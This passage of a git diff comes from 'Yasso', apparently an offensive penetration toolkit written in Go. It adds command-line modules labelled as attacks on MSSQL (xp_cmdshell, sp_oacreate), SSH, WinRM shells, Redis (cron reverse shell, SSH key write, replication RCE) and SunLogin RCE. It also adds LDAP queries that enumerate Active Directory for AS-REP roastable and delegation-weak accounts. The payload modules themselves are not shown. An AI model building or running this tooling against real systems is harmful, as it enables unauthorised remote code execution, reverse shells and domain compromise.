|
||||
ok, _ := regexp.Match(`^SSH.\d`, buff)
|
||||
str := ByteToStringParse1(buff)
|
||||
fmt.Println(ok, str)
|
||||
if ok {
|
||||
fmt.Println(strings.Split(str, "\\x0d\\x0a")[0])
|
||||
}
|
||||
}
|
||||
68
go.mod
68
go.mod
@@ -1,29 +1,67 @@
|
||||
module Yasso
|
||||
|
||||
go 1.16
|
||||
go 1.17
|
||||
|
||||
require (
|
||||
github.com/cheggaaa/pb/v3 v3.0.8
|
||||
github.com/denisenkom/go-mssqldb v0.11.0
|
||||
github.com/audibleblink/bamflags v1.0.0
|
||||
github.com/bwmarrin/go-objectsid v0.0.0-20191126144531-5fee401a2f37
|
||||
github.com/denisenkom/go-mssqldb v0.12.0
|
||||
github.com/go-ping/ping v0.0.0-20211130115550-779d1e919534
|
||||
github.com/go-redis/redis/v8 v8.11.5
|
||||
github.com/go-rod/rod v0.107.0
|
||||
github.com/go-sql-driver/mysql v1.6.0
|
||||
github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect
|
||||
github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b
|
||||
github.com/lib/pq v1.10.4
|
||||
github.com/gookit/color v1.5.0
|
||||
github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358
|
||||
github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5
|
||||
github.com/jedib0t/go-pretty/v6 v6.3.1
|
||||
github.com/jlaffaye/ftp v0.0.0-20220310202011-d2c44e311e78
|
||||
github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40
|
||||
github.com/masterzen/winrm v0.0.0-20211231115050-232efb40349e
|
||||
github.com/mattn/go-runewidth v0.0.13 // indirect
|
||||
github.com/olekukonko/tablewriter v0.0.5
|
||||
github.com/panjf2000/ants/v2 v2.4.7
|
||||
github.com/projectdiscovery/cdncheck v0.0.3
|
||||
github.com/spf13/cobra v1.3.0
|
||||
github.com/spf13/cobra v1.4.0
|
||||
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
|
||||
github.com/tomatome/grdp v0.0.0-20211016064301-f2f15c171086
|
||||
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3
|
||||
golang.org/x/net v0.0.0-20211216030914-fe4d6282115f
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect
|
||||
golang.org/x/text v0.3.7
|
||||
gopkg.in/ldap.v2 v2.5.1
|
||||
gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22
|
||||
)
|
||||
|
||||
// 这里引入的是shadow1ng师傅的grdp包,之前引入一直不成功,go的基础还是太差
|
||||
replace github.com/tomatome/grdp v0.0.0-20211016064301-f2f15c171086 => github.com/shadow1ng/grdp v1.0.3
|
||||
require (
|
||||
github.com/Azure/go-ntlmssp v0.0.0-20211209120228-48547f28849e // indirect
|
||||
github.com/ChrisTrenkamp/goxpath v0.0.0-20210404020558-97928f7e12b6 // indirect
|
||||
github.com/cespare/xxhash/v2 v2.1.2 // indirect
|
||||
github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect
|
||||
github.com/gofrs/uuid v4.2.0+incompatible // indirect
|
||||
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect
|
||||
github.com/golang-sql/sqlexp v0.0.0-20170517235910-f1bb20e5a188 // indirect
|
||||
github.com/google/uuid v1.2.0 // indirect
|
||||
github.com/hashicorp/errwrap v1.0.0 // indirect
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
github.com/hashicorp/go-uuid v1.0.2 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.0 // indirect
|
||||
github.com/jcmturner/aescts/v2 v2.0.0 // indirect
|
||||
github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect
|
||||
github.com/jcmturner/gofork v1.0.0 // indirect
|
||||
github.com/jcmturner/goidentity/v6 v6.0.1 // indirect
|
||||
github.com/jcmturner/gokrb5/v8 v8.4.2 // indirect
|
||||
github.com/jcmturner/rpc/v2 v2.0.3 // indirect
|
||||
github.com/json-iterator/go v1.1.12 // indirect
|
||||
github.com/masterzen/simplexml v0.0.0-20190410153822-31eea3082786 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.13 // indirect
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
|
||||
github.com/modern-go/reflect2 v1.0.2 // indirect
|
||||
github.com/rivo/uniseg v0.2.0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778 // indirect
|
||||
github.com/yl2chen/cidranger v1.0.2 // indirect
|
||||
github.com/ysmood/goob v0.4.0 // indirect
|
||||
github.com/ysmood/gson v0.7.1 // indirect
|
||||
github.com/ysmood/leakless v0.7.0 // indirect
|
||||
golang.org/x/net v0.0.0-20211216030914-fe4d6282115f // indirect
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c // indirect
|
||||
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e // indirect
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
|
||||
gopkg.in/asn1-ber.v1 v1.0.0-20181015200546-f715ec2f112d // indirect
|
||||
)
|
||||
|
||||
replace github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 => github.com/shadow1ng/grdp v1.0.3
|
||||
|
||||
7
ips.txt
7
ips.txt
@@ -1,7 +0,0 @@
|
||||
192.168.248.1
|
||||
192.168.248.219
|
||||
192.168.248.212
|
||||
192.168.248.128
|
||||
127.0.0.1:445
|
||||
127.0.0.1:5985
|
||||
|
||||
8
main.go
8
main.go
@@ -1,12 +1,6 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"Yasso/cmd"
|
||||
)
|
||||
|
||||
func init() {
|
||||
cmd.CreateLogFile("Yasso.log")
|
||||
}
|
||||
import "Yasso/cmd"
|
||||
|
||||
func main() {
|
||||
cmd.Execute()
|
||||
|
||||
9
pkg/exploit/config/config.go
Normal file
9
pkg/exploit/config/config.go
Normal file
@@ -0,0 +1,9 @@
|
||||
package config
|
||||
|
||||
// Exploits exp结构体
|
||||
type Exploits struct {
|
||||
Hostname string // 地址
|
||||
Port int // 端口
|
||||
User string // 连接用的用户名
|
||||
Pass string // 连接用的密码
|
||||
}
|
||||
56
pkg/exploit/config/tools.go
Normal file
56
pkg/exploit/config/tools.go
Normal file
@@ -0,0 +1,56 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
)
|
||||
|
||||
type Results struct {
|
||||
Columns []string
|
||||
Rows [][]string
|
||||
}
|
||||
|
||||
func SQLExecute(db *sql.DB, q string) (*Results, error) {
|
||||
if q == "" {
|
||||
return nil, nil
|
||||
}
|
||||
rows, err := db.Query(q)
|
||||
//rows, err := db.Query(q)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
columns, err := rows.Columns()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var results [][]string
|
||||
for rows.Next() {
|
||||
rs := make([]sql.NullString, len(columns))
|
||||
rsp := make([]interface{}, len(columns))
|
||||
for i := range rs {
|
||||
rsp[i] = &rs[i]
|
||||
}
|
||||
if err = rows.Scan(rsp...); err != nil {
|
||||
break
|
||||
}
|
||||
|
||||
_rs := make([]string, len(columns))
|
||||
for i := range rs {
|
||||
_rs[i] = rs[i].String
|
||||
}
|
||||
results = append(results, _rs)
|
||||
}
|
||||
if closeErr := rows.Close(); closeErr != nil {
|
||||
return nil, closeErr
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &Results{
|
||||
Columns: columns,
|
||||
Rows: results,
|
||||
}, nil
|
||||
}
|
||||
213
pkg/exploit/exploit.go
Normal file
213
pkg/exploit/exploit.go
Normal file
@@ -0,0 +1,213 @@
|
||||
package exploit
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"Yasso/pkg/exploit/config"
|
||||
"Yasso/pkg/exploit/ldap"
|
||||
"Yasso/pkg/exploit/mssql"
|
||||
"Yasso/pkg/exploit/redis"
|
||||
"Yasso/pkg/exploit/ssh"
|
||||
"Yasso/pkg/exploit/sunlogin"
|
||||
"Yasso/pkg/exploit/winrm"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
type ExpFlags struct {
|
||||
Hostname string
|
||||
Port int
|
||||
User string
|
||||
Pass string
|
||||
KeyFile string
|
||||
Rebound string
|
||||
Command string
|
||||
Method int // 每一个Exp的子方法
|
||||
Listen string // 本地监听地址
|
||||
SoPath string // so文件路径
|
||||
Filter string // ldap的过滤器
|
||||
LdapCmd bool // ldap的查询命令显示
|
||||
LdapAll bool // 是否自动查询ldap
|
||||
LdapName string // Ldap的name属性
|
||||
}
|
||||
|
||||
var mssqlFlag ExpFlags
|
||||
var MssqlCmd = &cobra.Command{
|
||||
Use: "mssql",
|
||||
Short: "Quick attacks on MSSQL services",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if mssqlFlag.Hostname == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
switch mssqlFlag.Method {
|
||||
case 1:
|
||||
mssql.ExploitMssql(config.Exploits{
|
||||
Hostname: mssqlFlag.Hostname,
|
||||
Port: mssqlFlag.Port,
|
||||
User: mssqlFlag.User,
|
||||
Pass: mssqlFlag.Pass,
|
||||
}, 1, mssqlFlag.Command)
|
||||
case 2:
|
||||
mssql.ExploitMssql(config.Exploits{
|
||||
Hostname: mssqlFlag.Hostname,
|
||||
Port: mssqlFlag.Port,
|
||||
User: mssqlFlag.User,
|
||||
Pass: mssqlFlag.Pass,
|
||||
}, 2, mssqlFlag.Command)
|
||||
case 3:
|
||||
mssql.ExploitMssql(config.Exploits{
|
||||
Hostname: mssqlFlag.Hostname,
|
||||
Port: mssqlFlag.Port,
|
||||
User: mssqlFlag.User,
|
||||
Pass: mssqlFlag.Pass,
|
||||
}, 3, mssqlFlag.Command)
|
||||
case 4:
|
||||
mssql.ExploitMssql(config.Exploits{
|
||||
Hostname: mssqlFlag.Hostname,
|
||||
Port: mssqlFlag.Port,
|
||||
User: mssqlFlag.User,
|
||||
Pass: mssqlFlag.Pass,
|
||||
}, 4, mssqlFlag.Command)
|
||||
default:
|
||||
logger.Fatal("not found exploit method")
|
||||
return
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
var sshFlag ExpFlags
|
||||
var SshCmd = &cobra.Command{
|
||||
Use: "ssh",
|
||||
Short: "Quick attacks on SSH services",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if sshFlag.Hostname == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
ssh.ExploitSSH(config.Exploits{
|
||||
Hostname: sshFlag.Hostname,
|
||||
Port: sshFlag.Port,
|
||||
User: sshFlag.User,
|
||||
Pass: sshFlag.Pass,
|
||||
}, sshFlag.KeyFile)
|
||||
},
|
||||
}
|
||||
|
||||
var winrmFlag ExpFlags
|
||||
var WinRmCmd = &cobra.Command{
|
||||
Use: "winrm",
|
||||
Short: "Quick attacks on WinRM services",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if winrmFlag.Hostname == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
winrm.ExploitWinRM(config.Exploits{
|
||||
Hostname: winrmFlag.Hostname,
|
||||
Port: winrmFlag.Port,
|
||||
User: winrmFlag.User,
|
||||
Pass: winrmFlag.Pass,
|
||||
}, winrmFlag.Command, winrmFlag.Method)
|
||||
},
|
||||
}
|
||||
|
||||
var redisFlag ExpFlags
|
||||
var RedisCmd = &cobra.Command{
|
||||
Use: "redis",
|
||||
Short: "Quick attacks on Redis services",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if redisFlag.Hostname == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
redis.ExploitRedis(config.Exploits{
|
||||
Hostname: redisFlag.Hostname,
|
||||
Port: redisFlag.Port,
|
||||
User: "",
|
||||
Pass: redisFlag.Pass,
|
||||
}, redisFlag.Method, redisFlag.Rebound, redisFlag.KeyFile, redisFlag.Listen, "")
|
||||
},
|
||||
}
|
||||
|
||||
var sunLoginFlag ExpFlags
|
||||
var SunLoginCmd = &cobra.Command{
|
||||
Use: "sunlogin",
|
||||
Short: "Quick attacks on SunLogin services (RCE)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if sunLoginFlag.Hostname == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
if sunLoginFlag.Port == 0 {
|
||||
logger.Fatal("input sunlogin port")
|
||||
return
|
||||
} else {
|
||||
sunlogin.ExploitSunLogin(config.Exploits{
|
||||
Hostname: sunLoginFlag.Hostname,
|
||||
Port: sunLoginFlag.Port,
|
||||
User: "",
|
||||
Pass: "",
|
||||
}, sunLoginFlag.Command)
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
var LdapReaperFlag ExpFlags
|
||||
|
||||
var LdapReaperCmd = &cobra.Command{
|
||||
Use: "ldap",
|
||||
Short: "ldap single query with filter and fast automatic query",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if LdapReaperFlag.Hostname == "" || LdapReaperFlag.User == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
if LdapReaperFlag.LdapCmd == true {
|
||||
ldap.ListLdapCommand()
|
||||
return
|
||||
} else {
|
||||
if LdapReaperFlag.Command != "" {
|
||||
LdapReaperFlag.LdapAll = false
|
||||
}
|
||||
ldap.LdapAuthAndQuery(LdapReaperFlag.Hostname, LdapReaperFlag.User, LdapReaperFlag.Pass, LdapReaperFlag.Command, LdapReaperFlag.Filter, LdapReaperFlag.LdapName, LdapReaperFlag.LdapAll)
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
func init() {
|
||||
MssqlCmd.Flags().StringVar(&mssqlFlag.Hostname, "host", "", "设置mssql连接主机地址")
|
||||
MssqlCmd.Flags().StringVar(&mssqlFlag.Command, "cmd", "", "执行的system命令")
|
||||
MssqlCmd.Flags().IntVar(&mssqlFlag.Port, "port", 1433, "设置mssql连接主机端口")
|
||||
MssqlCmd.Flags().StringVar(&mssqlFlag.User, "user", "sa", "设置连接的用户名")
|
||||
MssqlCmd.Flags().StringVar(&mssqlFlag.Pass, "pass", "", "设置连接的密码")
|
||||
MssqlCmd.Flags().IntVar(&mssqlFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][xp_cmdshell]\n[2][sp_oacreate]\n[3][install SharpSQLKit]\n[4][uninstall SharpSQLKit]")
|
||||
SshCmd.Flags().StringVar(&sshFlag.Hostname, "host", "", "设置ssh连接主机地址")
|
||||
SshCmd.Flags().StringVar(&sshFlag.KeyFile, "key", "", "设置ssh的连接密钥")
|
||||
SshCmd.Flags().StringVar(&sshFlag.User, "user", "root", "设置连接的用户名")
|
||||
SshCmd.Flags().StringVar(&sshFlag.Pass, "pass", "", "设置连接的密码")
|
||||
SshCmd.Flags().IntVar(&sshFlag.Port, "port", 22, "设置ssh的连接端口")
|
||||
RedisCmd.Flags().StringVar(&redisFlag.Hostname, "host", "", "设置redis主机的连接地址")
|
||||
RedisCmd.Flags().StringVar(&redisFlag.Rebound, "rebound", "", "设置redis定时计划反弹shell地址")
|
||||
RedisCmd.Flags().StringVar(&redisFlag.KeyFile, "key", "", "设置redis写入公钥的本地文件路径")
|
||||
RedisCmd.Flags().StringVar(&redisFlag.Listen, "listen", "127.0.0.1:8888", "设置redis主从服务本地监听")
|
||||
RedisCmd.Flags().StringVar(&redisFlag.Pass, "pass", "", "设置redis的连接密码")
|
||||
RedisCmd.Flags().StringVar(&redisFlag.SoPath, "so", "", "设置其他so文件路径")
|
||||
RedisCmd.Flags().IntVar(&redisFlag.Port, "port", 6379, "设置redis的连接端口")
|
||||
RedisCmd.Flags().IntVar(&redisFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][redis定时计划反弹shell]\n[2][redis公钥写入]\n[3][redis主从复制RCE(需要对方主机可以访问服务启动主机)]")
|
||||
WinRmCmd.Flags().StringVar(&winrmFlag.Hostname, "host", "", "设置winrm连接主机")
|
||||
WinRmCmd.Flags().StringVar(&winrmFlag.User, "user", "administrator", "设置winrm连接用户")
|
||||
WinRmCmd.Flags().StringVar(&winrmFlag.Pass, "pass", "", "设置winrm连接密码")
|
||||
WinRmCmd.Flags().StringVar(&winrmFlag.Command, "cmd", "whoami", "设置winrm执行的命令")
|
||||
WinRmCmd.Flags().IntVar(&winrmFlag.Port, "port", 5985, "设置winrm连接端口")
|
||||
WinRmCmd.Flags().IntVar(&winrmFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][winrm单命令执行,需配合cmd参数]\n[2][winrm正向shell方式执行]")
|
||||
SunLoginCmd.Flags().StringVar(&sunLoginFlag.Hostname, "host", "", "设置向日葵主机地址")
|
||||
SunLoginCmd.Flags().IntVar(&sunLoginFlag.Port, "port", 0, "设置向日葵端口")
|
||||
SunLoginCmd.Flags().StringVar(&sunLoginFlag.Command, "cmd", "whoami", "设置system命令")
|
||||
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Hostname, "dc", "", "设置dc的主机名(FQDN)")
|
||||
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.User, "user", "", "设置域用户名称(.eg)[KLION\\Oadmin]")
|
||||
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Pass, "pass", "", "设置域用户密码")
|
||||
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Filter, "filter", "full-data", "设置过滤器,一般为full-data")
|
||||
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Command, "cmd", "", "设置查询命令,可通过ldap-cmd查看")
|
||||
LdapReaperCmd.Flags().BoolVar(&LdapReaperFlag.LdapCmd, "ldap-cmd", false, "列出ldap可用的查询命令")
|
||||
LdapReaperCmd.Flags().BoolVar(&LdapReaperFlag.LdapAll, "ldap-all", true, "是否采用自动ldap查询(将查询默认ldap信息)")
|
||||
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.LdapName, "name", "", "域(成员,组,计算机)名称")
|
||||
}
|
||||
8
pkg/exploit/ldap/core/filter/filter.go
Normal file
8
pkg/exploit/ldap/core/filter/filter.go
Normal file
@@ -0,0 +1,8 @@
|
||||
package filter
|
||||
|
||||
import "strings"
|
||||
|
||||
// LdapFilter ldap过滤器
|
||||
func LdapFilter(needle string, filterDN string) string {
|
||||
return strings.Replace(filterDN, "{username}", needle, -1)
|
||||
}
|
||||
69
pkg/exploit/ldap/core/query/flags.go
Normal file
69
pkg/exploit/ldap/core/query/flags.go
Normal file
@@ -0,0 +1,69 @@
|
||||
package query
|
||||
|
||||
var PwdFlags = map[int]string{
|
||||
0x01: "PASSWORD_COMPLEX",
|
||||
0x02: "PASSWORD_NO_ANON_CHANGE",
|
||||
0x04: "PASSWORD_NO_CLEAR_CHANGE",
|
||||
0x08: "LOCKOUT_ADMINS",
|
||||
0x10: "PASSWORD_STORE_CLEARTEXT",
|
||||
0x20: "REFUSE_PASSWORD_CHANGE",
|
||||
}
|
||||
|
||||
var UacFlags = map[int]string{
|
||||
0x00000002: "ACCOUNT_DISABLED",
|
||||
0x00000010: "ACCOUNT_LOCKED",
|
||||
0x00000020: "PASSWD_NOTREQD",
|
||||
0x00000040: "PASSWD_CANT_CHANGE",
|
||||
0x00000080: "PASSWORD_STORE_CLEARTEXT",
|
||||
0x00000200: "NORMAL_ACCOUNT",
|
||||
0x00001000: "WORKSTATION_ACCOUNT",
|
||||
0x00002000: "SERVER_TRUST_ACCOUNT",
|
||||
0x00010000: "DONT_EXPIRE_PASSWD",
|
||||
0x00040000: "SMARTCARD_REQUIRED",
|
||||
0x00080000: "TRUSTED_FOR_DELEGATION",
|
||||
0x00100000: "NOT_DELEGATED",
|
||||
0x00200000: "USE_DES_KEY_ONLY",
|
||||
0x00400000: "DONT_REQ_PREAUTH",
|
||||
0x00800000: "PASSWORD_EXPIRED",
|
||||
0x01000000: "TRUSTED_TO_AUTH_FOR_DELEGATION",
|
||||
0x04000000: "PARTIAL_SECRETS_ACCOUNT",
|
||||
}
|
||||
|
||||
var SamType = map[int64]string{
|
||||
0x0: "SAM_DOMAIN_OBJECT",
|
||||
0x10000000: "SAM_GROUP_OBJECT",
|
||||
0x10000001: "SAM_NON_SECURITY_GROUP_OBJECT",
|
||||
0x20000000: "SAM_ALIAS_OBJECT",
|
||||
0x20000001: "SAM_NON_SECURITY_ALIAS_OBJECT",
|
||||
0x30000000: "SAM_USER_OBJECT",
|
||||
0x30000001: "SAM_MACHINE_ACCOUNT",
|
||||
0x30000002: "SAM_TRUST_ACCOUNT",
|
||||
0x40000000: "SAM_APP_BASIC_GROUP",
|
||||
0x40000001: "SAM_APP_QUERY_GROUP",
|
||||
0x7fffffff: "SAM_ACCOUNT_TYPE_MAX",
|
||||
}
|
||||
|
||||
var Trust = map[int]string{
|
||||
0x00000001: "NON_TRANSITIVE",
|
||||
0x00000002: "UPLEVEL_ONLY",
|
||||
0x00000004: "QUARANTINED_DOMAIN",
|
||||
0x00000008: "FOREST_TRANSITIVE",
|
||||
0x00000010: "CROSS_ORGANIZATION",
|
||||
0x00000020: "WITHIN_FOREST",
|
||||
0x00000040: "TREAT_AS_EXTERNAL",
|
||||
0x00000080: "USES_RC4_ENCRYPTION",
|
||||
0x00000200: "CROSS_ORGANIZATION_NO_TGT_DELEGATION",
|
||||
0x00000400: "PIM_TRUST",
|
||||
0x00000800: "CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION",
|
||||
}
|
||||
var TrustDirections = map[int]string{
|
||||
0x01: "INBOUND",
|
||||
0x02: "OUTBOUND",
|
||||
0x03: "BIDIRECTIONAL",
|
||||
}
|
||||
|
||||
var TrustType = map[int]string{
|
||||
0x01: "DOWNLEVEL",
|
||||
0x02: "UPLEVEL",
|
||||
0x03: "MIT",
|
||||
}
|
||||
60
pkg/exploit/ldap/core/query/object.go
Normal file
60
pkg/exploit/ldap/core/query/object.go
Normal file
@@ -0,0 +1,60 @@
|
||||
package query
|
||||
|
||||
// LdapQueries ldap的查询字符串
|
||||
var LdapQueries = map[string]string{
|
||||
"users": "(objectClass=user)",
|
||||
"groups": "(objectClass=group)",
|
||||
"computers": "(objectClass=Computer)",
|
||||
"dc": "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))",
|
||||
"gpo": "(objectClass=groupPolicyContainer)",
|
||||
"spn": "(&(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))",
|
||||
"unconstrained-users": "(&(&(objectCategory=person)(objectClass=user))(userAccountControl:1.2.840.113556.1.4.803:=524288))",
|
||||
"unconstrained-computers": "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))",
|
||||
"ms-sql": "(&(objectCategory=computer)(servicePrincipalName=MSSQLSvc*))",
|
||||
"never-loggedon": "(&(objectCategory=person)(objectClass=user)(|(lastLogonTimestamp=0)(!(lastLogonTimestamp=*))))",
|
||||
"admin-priv": "(adminCount=1)",
|
||||
"domain-trust": "(objectClass=trustedDomain)",
|
||||
"ou": "(&(objectCategory=organizationalUnit)(ou=*))",
|
||||
"group-members": "(&(objectCategory=user)(memberOf={DN}))",
|
||||
"specific-users": "(&(objectCategory=user)(sAMAccountName={SAM}))",
|
||||
"specific-computers": "(&(objectClass=Computer)(cn={SAM}))",
|
||||
"specific-groups": "(&(objectCategory=group)(sAMAccountName={SAM}))",
|
||||
"specific-spn": "(&(&(servicePrincipalName=*)(cn={SAM})(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))",
|
||||
"specific-ms-sql": "(&(objectCategory=computer)(cn={SAM})(servicePrincipalName=MSSQLSvc*))",
|
||||
"asreproast": "(&(objectClass=user)(objectCategory=user)(useraccountcontrol:1.2.840.113556.1.4.803:=4194304))",
|
||||
"unconstrained": "(|(&(objectClass=Computer)(useraccountcontrol:1.2.840.113556.1.4.803:=524288))(&(objectClass=user)(useraccountcontrol:1.2.840.113556.1.4.803:=524288)))",
|
||||
}
|
||||
|
||||
var ldapCommands = map[string]string{
|
||||
"users": "Users",
|
||||
"user-logs": "User Properties",
|
||||
"groups": "Groups",
|
||||
"computers": "Computers",
|
||||
"dc": "Domain Controllers",
|
||||
"gpo": "Group Policy Objects",
|
||||
"spn": "Service Principal Names",
|
||||
"never-loggedon": "Users Never LoggedOn",
|
||||
"ms-sql": "MS-SQL Servers",
|
||||
"admin-priv": "Admin Priv",
|
||||
"domain-trust": "Trusted Domain",
|
||||
"ou": "Organizational Units",
|
||||
"asreproast": "AS-REP Roastable Accounts",
|
||||
"unconstrained": "Unconstrained Delegation",
|
||||
}
|
||||
|
||||
var LdapCommandAndFilter = map[string]string{
|
||||
"users": "full-data",
|
||||
"user-logs": "",
|
||||
"groups": "full-data",
|
||||
"computers": "full-data",
|
||||
"dc": "",
|
||||
"gpo": "",
|
||||
"spn": "",
|
||||
"never-loggedon": "",
|
||||
"ms-sql": "full-data",
|
||||
"admin-priv": "",
|
||||
"domain-trust": "",
|
||||
"ou": "",
|
||||
"asreproast": "",
|
||||
"unconstrained": "",
|
||||
}
|
||||
197
pkg/exploit/ldap/core/query/query.go
Normal file
197
pkg/exploit/ldap/core/query/query.go
Normal file
@@ -0,0 +1,197 @@
|
||||
package query
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"gopkg.in/ldap.v2"
|
||||
"os"
|
||||
)
|
||||
|
||||
type Server struct {
|
||||
LdapServer string // dc地址
|
||||
LdapUser string // 用户名(域用户即可)
|
||||
LdapPassword string // 密码
|
||||
}
|
||||
|
||||
// ldap的连接函数
|
||||
func (s *Server) ldapConn() (*ldap.Conn, bool, error) {
|
||||
conn, err := ldap.Dial("tcp", s.LdapServer)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
if err := conn.Bind(s.LdapUser, s.LdapPassword); err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
return conn, true, nil
|
||||
}
|
||||
|
||||
func LdapListQuery(dc, user, pass, baseDN, command, filter, name string, all bool) {
|
||||
server := Server{
|
||||
LdapServer: dc,
|
||||
LdapPassword: pass,
|
||||
LdapUser: user,
|
||||
}
|
||||
conn, flag, err := server.ldapConn()
|
||||
defer conn.Close()
|
||||
if flag == false || err != nil {
|
||||
logger.Fatal("ldap server connect failed")
|
||||
return
|
||||
}
|
||||
if all == true {
|
||||
// 查询全部ldap并采用full-data过滤器
|
||||
for i, f := range LdapCommandAndFilter {
|
||||
err := LdapQuery(conn, baseDN, i, f, name)
|
||||
if err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
} else {
|
||||
err := LdapQuery(conn, baseDN, command, filter, name)
|
||||
if err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// LdapQuery 传入baseDN,
|
||||
func LdapQuery(conn *ldap.Conn, baseDN string, command string, filter string, name string) error {
|
||||
t := table.NewWriter()
|
||||
t.SetOutputMirror(os.Stdout)
|
||||
t.AppendHeader(table.Row{ldapCommands[command]})
|
||||
t.SetColumnConfigs([]table.ColumnConfig{
|
||||
{
|
||||
Name: ldapCommands[command],
|
||||
WidthMin: 20,
|
||||
WidthMax: 100,
|
||||
},
|
||||
})
|
||||
if command == "users" && filter == "list" && name == "" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "users" && filter == "full-data" && name == "" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "users" && name != "" && filter != "membership" {
|
||||
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "users" && name != "" && filter == "membership" {
|
||||
if err := LdapUserMemberShipResolver(t, conn, baseDN, name, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "computers" && filter == "list" && name == "" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "computers" && filter == "full-data" && name == "" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "computers" && name != "" {
|
||||
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "groups" && filter == "list" && name == "" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "groups" && filter == "full-data" && name == "" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "groups" && name != "" && filter != "membership" {
|
||||
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "groups" && filter == "membership" && name != "" {
|
